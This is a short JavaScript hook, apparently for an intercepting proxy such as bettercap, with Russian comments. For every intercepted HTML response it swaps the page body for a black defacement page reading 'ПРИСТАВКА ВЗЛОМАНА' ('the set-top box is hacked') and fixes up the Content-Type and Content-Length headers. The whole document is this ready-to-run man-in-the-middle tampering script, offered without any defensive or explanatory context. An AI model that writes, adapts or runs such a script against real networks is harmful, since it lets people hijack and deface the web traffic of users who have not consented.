function onResponse(req, res) {
// Проверяем, что это HTML-ответ
if (res.ContentType && res.ContentType.indexOf('text/html') !== -1) {
// Создаём HTML-страницу с правильной кодировкой
var html = '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Взлом</title></head><body style="background:black; color:red; text-align:center; font-size:50px; margin-top:20%;">ПРИСТАВКА ВЗЛОМАНА</body></html>';
// Подменяем тело ответа
res.Body = html;
// Явно указываем Content-Type и кодировку
res.ContentType = 'text/html; charset=UTF-8';
res.ContentLength = html.length;
}
}